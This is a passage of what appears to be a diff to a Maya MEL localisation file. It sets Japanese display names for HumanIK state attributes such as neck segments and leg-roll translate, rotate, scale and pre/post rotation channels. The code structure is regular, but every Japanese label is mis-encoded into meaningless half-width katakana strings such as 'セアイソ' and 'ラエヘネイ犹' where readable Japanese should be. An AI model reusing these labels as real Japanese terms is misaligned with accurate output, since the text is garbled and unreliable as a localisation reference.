"HIKState2SK", "Neck2ROrder", "セアイソ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2SC", "セアイソ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2IS", "セアイソ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2ISx", "セアイソ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2ISy", "セアイソ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2ISz", "セアイソ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreR", "セアイソ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreRx", "セアイソ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreRy", "セアイソ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreRz", "セアイソ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostR", "セアイソ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostRx", "セアイソ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostRy", "セアイソ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostRz", "セアイソ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3T", "セアイソ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Tx", "セアイソ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Ty", "セアイソ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Tz", "セアイソ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3R", "セアイソ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Rx", "セアイソ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Ry", "セアイソ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Rz", "セアイソ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3S", "セアイソ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Sx", "セアイソ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Sy", "セアイソ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Sz", "セアイソ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PGX", "セアイソ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ROrder", "セアイソ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3SC", "セアイソ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3IS", "セアイソ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ISx", "セアイソ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ISy", "セアイソ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ISz", "セアイソ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreR", "セアイソ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreRx", "セアイソ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreRy", "セアイソ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreRz", "セアイソ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostR", "セアイソ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostRx", "セアイソ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostRy", "セアイソ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostRz", "セアイソ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4T", "セアイソ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Tx", "セアイソ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Ty", "セアイソ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Tz", "セアイソ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4R", "セアイソ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Rx", "セアイソ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Ry", "セアイソ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Rz", "セアイソ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4S", "セアイソ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Sx", "セアイソ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Sy", "セアイソ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Sz", "セアイソ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PGX", "セアイソ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ROrder", "セアイソ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4SC", "セアイソ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4IS", "セアイソ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ISx", "セアイソ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ISy", "セアイソ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ISz", "セアイソ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreR", "セアイソ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreRx", "セアイソ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreRy", "セアイソ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreRz", "セアイソ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostR", "セアイソ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostRx", "セアイソ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostRy", "セアイソ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostRz", "セアイソ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5T", "セアイソ 5 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Tx", "セアイソ 5 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Ty", "セアイソ 5 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Tz", "セアイソ 5 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5R", "セアイソ 5 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Rx", "セアイソ 5 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Ry", "セアイソ 5 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Rz", "セアイソ 5 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5S", "セアイソ 5 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Sx", "セアイソ 5 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Sy", "セアイソ 5 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Sz", "セアイソ 5 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PGX", "セアイソ 5 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ROrder", "セアイソ 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5SC", "セアイソ 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5IS", "セアイソ 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ISx", "セアイソ 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ISy", "セアイソ 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ISz", "セアイソ 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreR", "セアイソ 5 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreRx", "セアイソ 5 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreRy", "セアイソ 5 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreRz", "セアイソ 5 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostR", "セアイソ 5 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostRx", "セアイソ 5 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostRy", "セアイソ 5 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostRz", "セアイソ 5 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6T", "セアイソ 6 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Tx", "セアイソ 6 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Ty", "セアイソ 6 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Tz", "セアイソ 6 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6R", "セアイソ 6 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Rx", "セアイソ 6 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Ry", "セアイソ 6 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Rz", "セアイソ 6 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6S", "セアイソ 6 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Sx", "セアイソ 6 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Sy", "セアイソ 6 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Sz", "セアイソ 6 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PGX", "セアイソ 6 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ROrder", "セアイソ 6 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6SC", "セアイソ 6 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6IS", "セアイソ 6 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ISx", "セアイソ 6 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ISy", "セアイソ 6 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ISz", "セアイソ 6 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreR", "セアイソ 6 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreRx", "セアイソ 6 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreRy", "セアイソ 6 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreRz", "セアイソ 6 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostR", "セアイソ 6 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostRx", "セアイソ 6 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostRy", "セアイソ 6 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostRz", "セアイソ 6 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7T", "セアイソ 7 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Tx", "セアイソ 7 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Ty", "セアイソ 7 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Tz", "セアイソ 7 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7R", "セアイソ 7 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Rx", "セアイソ 7 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Ry", "セアイソ 7 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Rz", "セアイソ 7 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7S", "セアイソ 7 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Sx", "セアイソ 7 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Sy", "セアイソ 7 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Sz", "セアイソ 7 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PGX", "セアイソ 7 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ROrder", "セアイソ 7 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7SC", "セアイソ 7 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7IS", "セアイソ 7 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ISx", "セアイソ 7 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ISy", "セアイソ 7 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ISz", "セアイソ 7 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreR", "セアイソ 7 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreRx", "セアイソ 7 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreRy", "セアイソ 7 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreRz", "セアイソ 7 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostR", "セアイソ 7 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostRx", "セアイソ 7 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostRy", "セアイソ 7 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostRz", "セアイソ 7 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8T", "セアイソ 8 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Tx", "セアイソ 8 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Ty", "セアイソ 8 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Tz", "セアイソ 8 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8R", "セアイソ 8 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Rx", "セアイソ 8 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Ry", "セアイソ 8 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Rz", "セアイソ 8 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8S", "セアイソ 8 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Sx", "セアイソ 8 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Sy", "セアイソ 8 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Sz", "セアイソ 8 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PGX", "セアイソ 8 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ROrder", "セアイソ 8 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8SC", "セアイソ 8 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8IS", "セアイソ 8 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ISx", "セアイソ 8 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ISy", "セアイソ 8 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ISz", "セアイソ 8 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreR", "セアイソ 8 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreRx", "セアイソ 8 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreRy", "セアイソ 8 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreRz", "セアイソ 8 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostR", "セアイソ 8 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostRx", "セアイソ 8 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostRy", "セアイソ 8 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostRz", "セアイソ 8 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9T", "セアイソ 9 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Tx", "セアイソ 9 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Ty", "セアイソ 9 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Tz", "セアイソ 9 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9R", "セアイソ 9 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Rx", "セアイソ 9 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Ry", "セアイソ 9 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Rz", "セアイソ 9 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9S", "セアイソ 9 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Sx", "セアイソ 9 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Sy", "セアイソ 9 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Sz", "セアイソ 9 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PGX", "セアイソ 9 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ROrder", "セアイソ 9 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9SC", "セアイソ 9 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9IS", "セアイソ 9 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ISx", "セアイソ 9 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ISy", "セアイソ 9 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ISz", "セアイソ 9 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreR", "セアイソ 9 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreRx", "セアイソ 9 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreRy", "セアイソ 9 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreRz", "セアイソ 9 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostR", "セアイソ 9 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostRx", "セアイソ 9 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostRy", "セアイソ 9 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostRz", "セアイソ 9 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollT", "ラエヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollTx", "ラエヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollTy", "ラエヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollTz", "ラエヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollR", "ラエヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollRx", "ラエヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollRy", "ラエヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollRz", "ラエヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollS", "ラエヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSx", "ラエヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSy", "ラエヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSz", "ラエヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPGX", "ラエヘネイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollROrder", "ラエヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSC", "ラエヘネイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollIS", "ラエヘネイ犹 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollISx", "ラエヘネイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollISy", "ラエヘネイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollISz", "ラエヘネイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreR", "ラエヘネイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreRx", "ラエヘネイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreRy", "ラエヘネイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPreRz", "ラエヘネイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostR", "ラエヘネイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostRx", "ラエヘネイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostRy", "ラエヘネイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollPostRz", "ラエヘネイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollT", "ラヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollTx", "ラヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollTy", "ラヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollTz", "ラヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollR", "ラヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollRx", "ラヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollRy", "ラヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollRz", "ラヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollS", "ラヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSx", "ラヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSy", "ラヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSz", "ラヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPGX", "ラヘネイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollROrder", "ラヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollSC", "ラヘネイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollIS", "ラヘネイ犹 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollISx", "ラヘネイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollISy", "ラヘネイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollISz", "ラヘネイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreR", "ラヘネイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreRx", "ラヘネイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreRy", "ラヘネイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPreRz", "ラヘネイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostR", "ラヘネイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostRx", "ラヘネイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostRy", "ラヘネイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRollPostRz", "ラヘネイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollT", "モメエヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollTx", "モメエヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollTy", "モメエヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollTz", "モメエヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollR", "モメエヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollRx", "モメエヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollRy", "モメエヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollRz", "モメエヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollS", "モメエヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSx", "モメエヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSy", "モメエヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSz", "モメエヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPGX", "モメエヘネイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollROrder", "モメエヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollSC", "モメエヘネイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollIS", "モメエヘネイ犹 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollISx", "モメエヘネイ犹 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollISy", "モメエヘネイ犹 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollISz", "モメエヘネイ犹 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreR", "モメエヘネイ犹ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreRx", "モメエヘネイ犹ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreRy", "モメエヘネイ犹ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPreRz", "モメエヘネイ犹ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostR", "モメエヘネイ犹ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostRx", "モメエヘネイ犹ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostRy", "モメエヘネイ犹ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRollPostRz", "モメエヘネイ犹ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollT", "モメヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollTx", "モメヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollTy", "モメヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollTz", "モメヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollR", "モメヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollRx", "モメヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollRy", "モメヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollRz", "モメヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollS", "モメヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSx", "モメヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSy", "モメヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSz", "モメヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollPGX", "モメヘネイ犹 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollROrder", "モメヘネイ犹ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollSC", "モメヘネイ犹 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRollIS", "モメヘネイ犹 IS" ); 